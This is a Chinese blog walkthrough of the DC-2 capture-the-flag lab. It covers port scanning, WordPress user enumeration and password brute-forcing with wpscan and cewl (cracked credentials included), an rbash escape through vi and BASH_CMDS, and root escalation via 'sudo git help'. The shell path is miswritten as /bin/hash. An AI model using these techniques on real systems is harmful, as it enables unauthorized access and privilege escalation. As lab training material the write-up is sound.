靶机-DC-2

信息收集

arp-scan -l

得到192.168.160.131

之前都是用nmap -A 来扫192.168.160.131

但是这里只能扫到80端口

于是换个专门扫端口的命令

nmap -sV -p- 192.168.160.131

-sV 参数使 Nmap 尝试确定每个开放端口上运行的具体服务及其版本

-p- 参数告诉 Nmap 在扫描时不要限制到某些常见的端口范围,而是扫描所有可能的端口,从1到65535。这种全端口扫描可以帮助你发现目标主机上隐藏的服务或使用非标准端口的服务。

多扫到一个用来连ssh的7744

访问一下80看看

会显示

这是未遵循重定向的问题

其实刚用nmap -A扫的时候就提示我们了

所以要解决这个问题,需要修改hosts文件

在linux上比较简单

vim /etc/hosts

输入i进入编辑模式

在里面加入192.168.160.131 dc-2

按Esc进入命令模式

输入:wq保存并退出

再cat看一下etc/hosts

已经有了

在访问一下

已经有了

在windows下

一般hosts都在C:\Windows\System32\drivers\etc\hosts

找到该文件

右键打开属性,把只读前的 删了,即关闭只读模式

接下来以管理员身份运行记事本

在记事本打开hosts文件

加入192.168.160.131 dc-2

保存即可

此时再访问http://dc-2/已经可以正常访问了


wordpress账号密码爆破

而且还可以看到框架是wordpress

可以找到flag1

并且提示我们使用cewl

cewl是一个用于生成自定义字典的命令行工具,它从指定的目标网页或文本文件中提取出可能的有效单词

于是我们利用这个工具给该网站生成一个密码字典

cewl http://dc-2/ -w dict.txt

duct.txt是我们自己给密码字典取的文件名

密码字典有了

还需要用户,生成用户使用wpscan工具

这是一款专门针对Wordpress网站的漏洞扫描工具,它还可以获取站点用户名。

wpscan --url http://dc-2/ -e u

-e u: 这是 WPScan 的选项之一,用于指定要枚举的内容。在这里,u 表示枚举用户。

找到三个用户

admin,jerry,tom

然后是爆破出对应的账号密码

先把三个用户放到user.txt里,方便爆破

继续使用wpscan工具

wpscan --url http://dc-2/ -U user.txt -P dict.txt

爆破出了

jerry / adipiscing

tom / parturient

然后拿他们登录看看

突然想起还没找到登录页面

dirsearch扫一下

在/wp-login.php里找到了登录页面

两个账号都可以登录

在jerry里可以找到flag2

提示我们用另外的方法

这里确实找不到什么好利用的了

连ssh,注意这里要用我们刚刚manp扫出来的7744端口,不是默认的22端口

ssh jerry@192.168.160.131 -p 7744

ssh tom@192.168.160.131 -p 7744

jerry连不上

但tom可以

连上后简单测试下

发现现在是-rbash

很多命令都用不了

可以在ls下面看到flag3.txt

但是cat用不了

利用compgen -c查看一下可以用的命令

可以看到vi可以用

利用vi看一下flag3.txt

vi flag3.txt

里面提到了su

所以su试一下

su jerry

不成功,因为我们现在是-rbash

rbash逃逸

-rbash介绍

rbash是Restricted bash缩写,即受限制的bash。 管理员可通过指定普通用户的bash为rbash,以此来限制相关操作。其实就是比一般的shell垃圾一点,有很多操作执行不了

所以我们要rbash逃逸

这里有两种方法

方法一:

在一些编辑器中可以设置shell变量然后执行,如vim中

输入命令vi进入编辑界面

把下面这两条写入

:set shell=/bin/bash

:shell

保存退出后设置环境变量

export PATH=$PATH:/bin/ export PATH=$PATH:/usr/bin/

这样就逃逸完了

rbash逃逸方法二:

利用bash_cmds自定义一个shell

BASH_CMDS[r]=/bin/hash

执行r的时候就相当于在执行shell

然后跟刚才一样设置环境变量

export PATH=$PATH:/bin/ export PATH=$PATH:/usr/bin/

这样子也可以成功

此时可以su到jerry了

找一下flag

find / -name '*flag*'

找到flag4.txt

提示还有一个真flag

而且要提权了

git提权

看看当前哪些能使用root权限

sudo -l

看到了/usr/bin/git

那就是git提权了

比较简单

方法一

输入

sudo git help config

然后输入

!/bin/hash

即可成功提到root


方法二

输入

sudo git -p help

然后输入

!/bin/hash

最后拿flag即可

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇